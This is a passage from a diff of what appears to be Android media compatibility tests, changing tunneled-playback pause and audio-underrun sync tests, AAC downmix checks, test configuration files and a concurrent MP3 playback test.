         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.startCodec();
 
-        // starts video playback
-        mMediaCodecPlayer.startThread();
+        mMediaCodecPlayer.play();
         sleepUntil(() ->
                 mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
                 && mMediaCodecPlayer.getTimestamp() != null
@@ -4604,14 +4600,43 @@
         assertEquals(audioTimestampAfterPause.nanoTime, mMediaCodecPlayer.getTimestamp().nanoTime);
     }
 
+
     /**
-     * Test tunneled audio underrun, if supported.
-     *
-     * Underrun test with lower pts after underrun.
+     * Test that audio timestamps stop progressing during pause for HEVC in tunneled mode.
+     */
+    @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithPauseHevc() throws Exception {
+        testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_HEVC,
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
+    }
+
+    /**
+     * Test that audio timestamps stop progressing during pause for AVC in tunneled mode.
+     */
+    @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithPauseAvc() throws Exception {
+        testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_AVC,
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
+    }
+
+    /**
+     * Test that audio timestamps stop progressing during pause for VP9 in tunneled mode.
+     */
+    @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
+    public void testTunneledAudioProgressWithPauseVp9() throws Exception {
+        testTunneledAudioProgressWithPause(MediaFormat.MIMETYPE_VIDEO_VP9,
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
+    }
+
+    /**
+     * Test that audio underrun pauses video and resumes in-sync in tunneled mode.
      *
      * TODO(b/182915887): Test all the codecs advertised by the DUT for the provided test content
      */
-    private void tunneledAudioUnderrun(String mimeType, String videoName, int frameRate)
+    private void tunneledAudioUnderrun(String mimeType, String videoName)
             throws Exception {
         if (!MediaUtils.check(isVideoFeatureSupported(mimeType, FEATURE_TunneledPlayback),
                 "No tunneled video playback codec found for MIME " + mimeType)) {
@@ -4625,11 +4650,10 @@
         Uri mediaUri = Uri.fromFile(new File(mInpPrefix, videoName));
         mMediaCodecPlayer.setAudioDataSource(mediaUri, null);
         mMediaCodecPlayer.setVideoDataSource(mediaUri, null);
-        assertTrue("MediaCodecPlayer.start() failed!", mMediaCodecPlayer.start());
         assertTrue("MediaCodecPlayer.prepare() failed!", mMediaCodecPlayer.prepare());
+        mMediaCodecPlayer.startCodec();
 
-        // Starts video playback
-        mMediaCodecPlayer.startThread();
+        mMediaCodecPlayer.play();
         sleepUntil(() ->
                 mMediaCodecPlayer.getCurrentPosition() > CodecState.UNINITIALIZED_TIMESTAMP
                 && mMediaCodecPlayer.getTimestamp() != null
@@ -4645,36 +4669,39 @@
         mMediaCodecPlayer.simulateAudioUnderrun(true);
 
         // Wait for audio underrun
-        final int audioUnderrunTimeoutMs = 1000; // Arbitrary upper time limit on loop time duration
-        long startTimeMs = System.currentTimeMillis();
-        AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
         AudioTimestamp underrunAudioTimestamp;
-        do {
-            assertTrue(String.format("No audio underrun after %d milliseconds",
-                            System.currentTimeMillis() - startTimeMs),
-                    System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
-            underrunAudioTimestamp = currentAudioTimestamp;
-            Thread.sleep(50);
-            currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
-        } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition);
+        {
+            AudioTimestamp currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+            long startTimeMs = System.currentTimeMillis();
+            do {
+                int audioUnderrunTimeoutMs = 1000;
+                assertTrue(String.format("No audio underrun after %d milliseconds",
+                                System.currentTimeMillis() - startTimeMs),
+                        System.currentTimeMillis() - startTimeMs < audioUnderrunTimeoutMs);
+                underrunAudioTimestamp = currentAudioTimestamp;
+                Thread.sleep(50);
+                currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+            } while (currentAudioTimestamp.framePosition != underrunAudioTimestamp.framePosition);
+        }
 
+        // Wait until video playback pauses due to underrunning audio
+        long pausedVideoTimeUs = -1;
+        {
+            long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+            long startTimeMs = System.currentTimeMillis();
+            do {
+                int videoPauseTimeoutMs = 2000;
+                assertTrue(String.format("No video pause after %d milliseconds",
+                                videoPauseTimeoutMs),
+                        System.currentTimeMillis() - startTimeMs < videoPauseTimeoutMs);
+                pausedVideoTimeUs = currentVideoTimeUs;
+                Thread.sleep(250); // onFrameRendered messages can get delayed in the Framework
+                currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+            } while (currentVideoTimeUs != pausedVideoTimeUs);
+        }
 
-        // Wait until video playback stalls
-        final int videoUnderrunTimeoutMs = 1000;
-        startTimeMs = System.currentTimeMillis();
-        long currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
-        long underrunVideoTimeUs = -1;
-        do {
-            assertTrue(String.format("No video underrun after %d milliseconds",
-                            videoUnderrunTimeoutMs),
-                    System.currentTimeMillis() - startTimeMs < videoUnderrunTimeoutMs);
-            underrunVideoTimeUs = currentVideoTimeUs;
-            Thread.sleep(50);
-            currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
-        } while (currentVideoTimeUs != underrunVideoTimeUs);
-
-        // Retrieve index for the video rendered frame at the time of underrun
-        int underrunVideoRenderedTimestampIndex =
+        // Retrieve index for the video rendered frame at the time of video pausing
+        int pausedVideoRenderedTimestampIndex =
                 mMediaCodecPlayer.getRenderedVideoFrameTimestampList().size() - 1;
 
         // Resume audio buffering with a negative offset, in order to simulate a desynchronisation.
@@ -4683,35 +4710,38 @@
         mMediaCodecPlayer.simulateAudioUnderrun(false);
 
         // Wait until audio playback resumes
-        final int audioResumeTimeoutMs = 1000;
-        startTimeMs = System.currentTimeMillis();
-        currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
         AudioTimestamp postResumeAudioTimestamp;
-        do {
-            assertTrue(String.format("Audio has not resumed after %d milliseconds",
-                            audioResumeTimeoutMs),
-                    System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs);
-            postResumeAudioTimestamp = currentAudioTimestamp;
-            Thread.sleep(50);
-            currentAudioTimestamp = mMediaCodecPlayer.getTimestamp();
-        } while(currentAudioTimestamp.framePosition == postResumeAudioTimestamp.framePosition);
+        {
+            AudioTimestamp previousAudioTimestamp;
+            long startTimeMs = System.currentTimeMillis();
+            do {
+                int audioResumeTimeoutMs = 1000;
+                assertTrue(String.format("Audio has not resumed after %d milliseconds",
+                                audioResumeTimeoutMs),
+                        System.currentTimeMillis() - startTimeMs < audioResumeTimeoutMs);
+                previousAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+                Thread.sleep(50);
+                postResumeAudioTimestamp = mMediaCodecPlayer.getTimestamp();
+            } while (postResumeAudioTimestamp.framePosition == previousAudioTimestamp.framePosition);
+        }
 
         // Now that audio playback has resumed, wait until video playback resumes
-        // We care about the timestamp of the first output frame, rather than the exact time the
-        // video resumed, which is why we only start polling after we are sure audio playback has
-        // resumed.
-        final int videoResumeTimeoutMs = 1000;
-        startTimeMs = System.currentTimeMillis();
-        currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
-        long resumeVideoTimeUs = -1;
-        do {
-            assertTrue(String.format("Video has not resumed after %d milliseconds",
-                            videoResumeTimeoutMs),
-                    System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs);
-            resumeVideoTimeUs = currentVideoTimeUs;
-            Thread.sleep(50);
-            currentVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
-        } while (currentVideoTimeUs == resumeVideoTimeUs);
+        {
+            // We actually don't care about trying to capture the exact time video resumed, because
+            // we can just look at the historical list of rendered video timestamps
+            long postResumeVideoTimeUs;
+            long previousVideoTimeUs;
+            long startTimeMs = System.currentTimeMillis();
+            do {
+                int videoResumeTimeoutMs = 2000;
+                assertTrue(String.format("Video has not resumed after %d milliseconds",
+                                videoResumeTimeoutMs),
+                        System.currentTimeMillis() - startTimeMs < videoResumeTimeoutMs);
+                previousVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+                Thread.sleep(50);
+                postResumeVideoTimeUs = mMediaCodecPlayer.getVideoTimeUs();
+            } while (postResumeVideoTimeUs == previousVideoTimeUs);
+        }
 
         // The system time when rendering the first audio frame after the resume
         long playbackRateFps = mMediaCodecPlayer.getAudioTrack().getPlaybackRate();
@@ -4721,52 +4751,74 @@
         long resumeAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime - (long) elapsedTimeNs;
         long resumeAudioSystemTimeMs = resumeAudioSystemTimeNs / 1000 / 1000;
 
-        // The system time when rendering the first video frame after the resume
+        // The system time when rendering the first video frame after video playback resumes
         long resumeVideoSystemTimeMs = mMediaCodecPlayer.getRenderedVideoFrameSystemTimeList()
-                .get(underrunVideoRenderedTimestampIndex + 1) / 1000 / 1000;
+                .get(pausedVideoRenderedTimestampIndex + 1) / 1000 / 1000;
 
-        // Verify that audio and video are in-sync after resume time
+        // Verify that video resumes in a reasonable amount of time after audio resumes
         // Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later
         resumeAudioSystemTimeMs += 100;
-        long vsyncMs = 1000 / frameRate;
-        long avSyncOffsetMs = resumeAudioSystemTimeMs - resumeVideoSystemTimeMs;
+        long resumeDeltaMs = resumeVideoSystemTimeMs - resumeAudioSystemTimeMs;
+        assertTrue(String.format("Video started %s milliseconds before audio resumed "
+                        + "(video:%d audio:%d)", resumeDeltaMs * -1, resumeVideoSystemTimeMs,
+                        resumeAudioSystemTimeMs),
+                resumeDeltaMs > 0); // video is expected to start after audio resumes
         assertTrue(String.format(
-                        "Audio is %d milliseconds out of sync of video (audio:%d video:%d)",
-                        avSyncOffsetMs, resumeAudioSystemTimeMs, resumeVideoSystemTimeMs),
-                Math.abs(avSyncOffsetMs) <= vsyncMs);
+                        "Video started %d milliseconds after audio resumed (video:%d audio:%d)",
+                        resumeDeltaMs, resumeVideoSystemTimeMs, resumeAudioSystemTimeMs),
+                resumeDeltaMs <= 600); // video starting 300ms after audio is barely noticeable
+
+        // Determine the system time of the audio frame that matches the presentation timestamp of
+        // the resumed video frame
+        long resumeVideoPresentationTimeUs = mMediaCodecPlayer.getRenderedVideoFrameTimestampList()
+                .get(pausedVideoRenderedTimestampIndex + 1);
+        long matchingAudioFramePosition = resumeVideoPresentationTimeUs * playbackRateFps / 1000 / 1000;
+        playedFrames = matchingAudioFramePosition - postResumeAudioTimestamp.framePosition;
+        elapsedTimeNs = playedFrames * (1000.0 * 1000.0 * 1000.0 / playbackRateFps);
+        long matchingAudioSystemTimeNs = postResumeAudioTimestamp.nanoTime + (long) elapsedTimeNs;
+        long matchingAudioSystemTimeMs = matchingAudioSystemTimeNs / 1000 / 1000;
+
+        // Verify that video and audio are in sync at the time when video resumes
+        // Note: Because a -100ms PTS gap is introduced, the video should resume 100ms later
+        matchingAudioSystemTimeMs += 100;
+        long avSyncOffsetMs =  resumeVideoSystemTimeMs - matchingAudioSystemTimeMs;
+        assertTrue(String.format("Video is %d milliseconds out of sync of audio after resuming "
+                        + "(video:%d, audio:%d)", avSyncOffsetMs, resumeVideoSystemTimeMs,
+                        matchingAudioSystemTimeMs),
+                // some leniency in AV sync is required because Android TV STB/OTT OEMs often have
+                // to tune for imperfect downstream TVs (that have processing delays on the video)
+                // by knowingly producing HDMI output that has audio and video mildly out of sync
+                Math.abs(avSyncOffsetMs) <= 80);
     }
 
     /**
-     * Test tunneled audio underrun with HEVC if supported
+     * Test that audio underrun pauses video and resumes in-sync for HEVC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledAudioUnderrunHevc() throws Exception {
         tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_HEVC,
-                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv",
-                25);
+                "video_1280x720_mkv_h265_500kbps_25fps_aac_stereo_128kbps_44100hz.mkv");
     }
 
     /**
-     * Test tunneled audio underrun with AVC if supported
+     * Test that audio underrun pauses video and resumes in-sync for AVC in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledAudioUnderrunAvc() throws Exception {
         tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_AVC,
-                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4",
-                25);
+                "video_480x360_mp4_h264_1000kbps_25fps_aac_stereo_128kbps_44100hz.mp4");
     }
 
     /**
-     * Test tunneled audio underrun with VP9 if supported
+     * Test that audio underrun pauses video and resumes in-sync for VP9 in tunneled mode.
      */
-    @SdkSuppress(minSdkVersion = Build.VERSION_CODES.S)
     @Test
+    @ApiTest(apis={"android.media.MediaCodecInfo.CodecCapabilities#FEATURE_TunneledPlayback"})
     public void testTunneledAudioUnderrunVp9() throws Exception {
         tunneledAudioUnderrun(MediaFormat.MIMETYPE_VIDEO_VP9,
-                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm",
-                30);
+                "bbb_s1_640x360_webm_vp9_0p21_1600kbps_30fps_vorbis_stereo_128kbps_48000hz.webm");
     }
 
     private void sleepUntil(Supplier<Boolean> supplier, Duration maxWait) throws Exception {
diff --git a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
index f34f9e2..af4e75a 100644
--- a/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
+++ b/tests/tests/media/decoder/src/android/media/decoder/cts/DecoderTestAacFormat.java
@@ -37,6 +37,7 @@
 import androidx.test.InstrumentationRegistry;
 
 import com.android.compatibility.common.util.ApiLevelUtil;
+import com.android.compatibility.common.util.CddTest;
 import com.android.compatibility.common.util.MediaUtils;
 
 import org.junit.Before;
@@ -56,7 +57,7 @@
             ApiLevelUtil.isAtLeast(Build.VERSION_CODES.R);
     private static final boolean sIsAtLeastT =
             ApiLevelUtil.isAtLeast(Build.VERSION_CODES.TIRAMISU);
-
+    private static final String MIMETYPE_AAC = MediaFormat.MIMETYPE_AUDIO_AAC;
     @Before
     public void setUp() throws Exception {
         final Instrumentation inst = InstrumentationRegistry.getInstrumentation();
@@ -67,6 +68,7 @@
      * Verify downmixing to stereo at decoding of MPEG-4 HE-AAC 5.0 and 5.1 channel streams
      */
     @Test
+    @CddTest(requirements = {"5.1.2/C-2-1", "5.1.2/C-7-1", "5.1.2/C-7-2"})
     public void testHeAacM4aMultichannelDownmix() throws Exception {
         Log.i(TAG, "START testDecodeHeAacMcM4a");
 
@@ -81,9 +83,9 @@
                         AudioFormat.CHANNEL_OUT_QUAD | AudioFormat.CHANNEL_OUT_FRONT_CENTER},
                 {"noise_6ch_44khz_aot5_dr_sbr_sig2_mp4.m4a", 6, AudioFormat.CHANNEL_OUT_5POINT1},
         };
-
-        for (Object [] sample: samples) {
-            for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */)) {
+        for (Object[] sample: samples) {
+            for (String codecName : DecoderTest.codecsFor((String)sample[0] /* resource */,
+                    DecoderTest.CODEC_DEFAULT)) {
                 // verify correct number of channels is observed without downmixing
                 AudioParameter chanParams = new AudioParameter();
                 decodeUpdateFormat(codecName, (String) sample[0] /*resource*/, chanParams,
@@ -101,7 +103,7 @@
                 assertEquals("Number of channels differs for codec:" + codecName
                                 + " when downmixing with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
                         2, aacDownmixParams.getNumChannels());
-                if (sIsAtLeastT) {
+                if (sIsAtLeastT && DecoderTest.isDefaultCodec(codecName, MIMETYPE_AAC)) {
                     // KEY_CHANNEL_MASK expected to work starting with T
                     assertEquals("Wrong channel mask with KEY_AAC_MAX_OUTPUT_CHANNEL_COUNT",
                             AudioFormat.CHANNEL_OUT_STEREO,
@@ -168,7 +170,7 @@
         assertEquals("wrong number of tracks", 1, extractor.getTrackCount());
         MediaFormat format = extractor.getTrackFormat(0);
         String mime = format.getString(MediaFormat.KEY_MIME);
-        assertTrue("not an audio file", mime.startsWith("audio/"));
+        assertTrue("not an aac audio file", mime.equals(MIMETYPE_AAC));
 
         MediaCodec decoder;
         if (decoderName == null) {
@@ -276,7 +278,7 @@
                 } catch (NullPointerException e) {
                     fail("KEY_SAMPLE_RATE not found on output format");
                 }
-                if (sIsAtLeastT) {
+                if (sIsAtLeastT && DecoderTest.isDefaultCodec(decoderName, MIMETYPE_AAC)) {
                     try {
                         audioParams.setChannelMask(
                                 outputFormat.getInteger(MediaFormat.KEY_CHANNEL_MASK));
diff --git a/tests/tests/media/drmframework/AndroidTest.xml b/tests/tests/media/drmframework/AndroidTest.xml
index c6e311d..28aaadc 100644
--- a/tests/tests/media/drmframework/AndroidTest.xml
+++ b/tests/tests/media/drmframework/AndroidTest.xml
@@ -26,6 +26,11 @@
         <option name="dynamic-config-name" value="CtsMediaDrmFrameworkTestCases" />
         <option name="version" value="9.0_r1"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
+        <option name="version" value="7.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaDrmFrameworkTestCases-1.0" />
@@ -35,11 +40,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaDrmFrameworkTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaDrmFrameworkTestCases" />
-        <option name="version" value="7.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.drmframework.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
index 1a1a46f..2c1d9c5 100644
--- a/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
+++ b/tests/tests/media/drmframework/src/android/media/drmframework/cts/MediaDrmClearkeyTest.java
@@ -26,7 +26,6 @@
 import android.media.UnsupportedSchemeException;
 import android.media.cts.AudioManagerStub;
 import android.media.cts.AudioManagerStubHelper;
-import android.media.cts.CodecState;
 import android.media.cts.ConnectionStatus;
 import android.media.cts.IConnectionStatus;
 import android.media.cts.InputSurface;
diff --git a/tests/tests/media/encoder/AndroidTest.xml b/tests/tests/media/encoder/AndroidTest.xml
index 65d8d6d..4de5615 100644
--- a/tests/tests/media/encoder/AndroidTest.xml
+++ b/tests/tests/media/encoder/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaEncoderTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaEncoderTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaEncoderTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaEncoderTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaEncoderTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.encoder.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/extractor/AndroidTest.xml b/tests/tests/media/extractor/AndroidTest.xml
index 007a65b..fbe2d48 100644
--- a/tests/tests/media/extractor/AndroidTest.xml
+++ b/tests/tests/media/extractor/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaExtractorTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaExtractorTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaExtractorTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaExtractorTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaExtractorTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.extractor.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/misc/AndroidTest.xml b/tests/tests/media/misc/AndroidTest.xml
index 58cea2c..4a2ffaf 100644
--- a/tests/tests/media/misc/AndroidTest.xml
+++ b/tests/tests/media/misc/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaMiscTestCases" />
         <option name="version" value="9.0_r1"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaMiscTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaMiscTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaMiscTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaMiscTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.misc.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/muxer/AndroidTest.xml b/tests/tests/media/muxer/AndroidTest.xml
index 502f2ca..0c361e9 100644
--- a/tests/tests/media/muxer/AndroidTest.xml
+++ b/tests/tests/media/muxer/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaMuxerTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaMuxerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaMuxerTestCases-1.1" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaMuxerTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaMuxerTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.muxer.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/AndroidTest.xml b/tests/tests/media/player/AndroidTest.xml
index e3e8b02..a0041ac 100644
--- a/tests/tests/media/player/AndroidTest.xml
+++ b/tests/tests/media/player/AndroidTest.xml
@@ -33,6 +33,11 @@
         <option name="dynamic-config-name" value="CtsMediaPlayerTestCases" />
         <option name="version" value="1.0"/>
     </target_preparer>
+    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
+        <option name="target" value="device" />
+        <option name="config-filename" value="CtsMediaPlayerTestCases" />
+        <option name="version" value="1.0"/>
+    </target_preparer>
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.MediaPreparer">
         <option name="push-all" value="true" />
         <option name="media-folder-name" value="CtsMediaPlayerTestCases-1.0" />
@@ -42,11 +47,6 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="CtsMediaPlayerTestCases.apk" />
     </target_preparer>
-    <target_preparer class="com.android.compatibility.common.tradefed.targetprep.DynamicConfigPusher">
-        <option name="target" value="device" />
-        <option name="config-filename" value="CtsMediaPlayerTestCases" />
-        <option name="version" value="1.0"/>
-    </target_preparer>
     <test class="com.android.tradefed.testtype.AndroidJUnitTest" >
         <option name="package" value="android.media.player.cts" />
         <!-- setup can be expensive so limit the number of shards -->
diff --git a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
index b46366c..fdf8507 100644
--- a/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
+++ b/tests/tests/media/player/src/android/media/player/cts/MediaPlayerTest.java
@@ -406,9 +406,10 @@
     }
 
     @Test
-    public void testConcurentPlayAudio() throws Exception {
+    public void testConcurrentPlayAudio() throws Exception {
         final String res = "test1m1s.mp3"; // MP3 longer than 1m are usualy offloaded
-        final int tolerance = 70;
+        final int recommendedTolerance = 70;
+        final List<Integer> offsets = new ArrayList<>();
 
         Preconditions.assertTestFileExists(mInpPrefix + res);
         List<MediaPlayer> mps = Stream.generate(
@@ -431,13 +432,25 @@
                 int pos = mp.getCurrentPosition();
                 assertTrue(pos >= 0);
 
-                Thread.sleep(SLEEP_TIME); // Delay each track to be able to ear them
+                Thread.sleep(SLEEP_TIME); // Delay each track to be able to hear them
             }
+
             // Check that all mp3 are playing concurrently here
+            // Record the offsets between streams, but don't enforce them
             for (MediaPlayer mp : mps) {
                 int pos = mp.getCurrentPosition();
                 Thread.sleep(SLEEP_TIME);
-                assertEquals(pos + SLEEP_TIME, mp.getCurrentPosition(), tolerance);
+                offsets.add(Math.abs(pos + SLEEP_TIME - mp.getCurrentPosition()));
+            }
+
+            if (offsets.stream().anyMatch(offset -> offset > recommendedTolerance)) {
+                Log.w(LOG_TAG, "testConcurrentPlayAudio: some concurrent playing offsets "
+                        + offsets + " are above the recommended tolerance of "
+                        + recommendedTolerance + "ms.");
+            } else {
+                Log.i(LOG_TAG, "testConcurrentPlayAudio: all concurrent playing offsets "
+                        + offsets + " are under the recommended tolerance of "
+                        + recommendedTolerance + "ms.");
             }
         } finally {
             mps.forEach(MediaPlayer::release);
diff --git a/tests/tests/nativemedia/sl/AndroidTest.xml b/tests/tests/nativemedia/sl/AndroidTest.xml
index 51968de..12438ee 100644
--- a/tests/tests/nativemedia/sl/AndroidTest.xml
+++ b/tests/tests/nativemedia/sl/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeMediaSlTestCases->/data/local/tmp/CtsNativeMediaSlTestCases" />
diff --git a/tests/tests/nativemedia/xa/AndroidTest.xml b/tests/tests/nativemedia/xa/AndroidTest.xml
index b3f067e..00a8e71 100644
--- a/tests/tests/nativemedia/xa/AndroidTest.xml
+++ b/tests/tests/nativemedia/xa/AndroidTest.xml
@@ -19,6 +19,7 @@
     <option name="config-descriptor:metadata" key="parameter" value="multi_abi" />
     <option name="config-descriptor:metadata" key="parameter" value="secondary_user" />
     <option name="config-descriptor:metadata" key="parameter" value="instant_app" />
+    <option name="config-descriptor:metadata" key="parameter" value="no_foldable_states" />
     <target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
         <option name="cleanup" value="true" />
         <option name="push" value="CtsNativeMediaXaTestCases->/data/local/tmp/CtsNativeMediaXaTestCases" />
diff --git a/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt b/tests/tests/os/src/android/os/cts/AppHibernationUtils.kt
index cdbd58c..b16ad15 100644
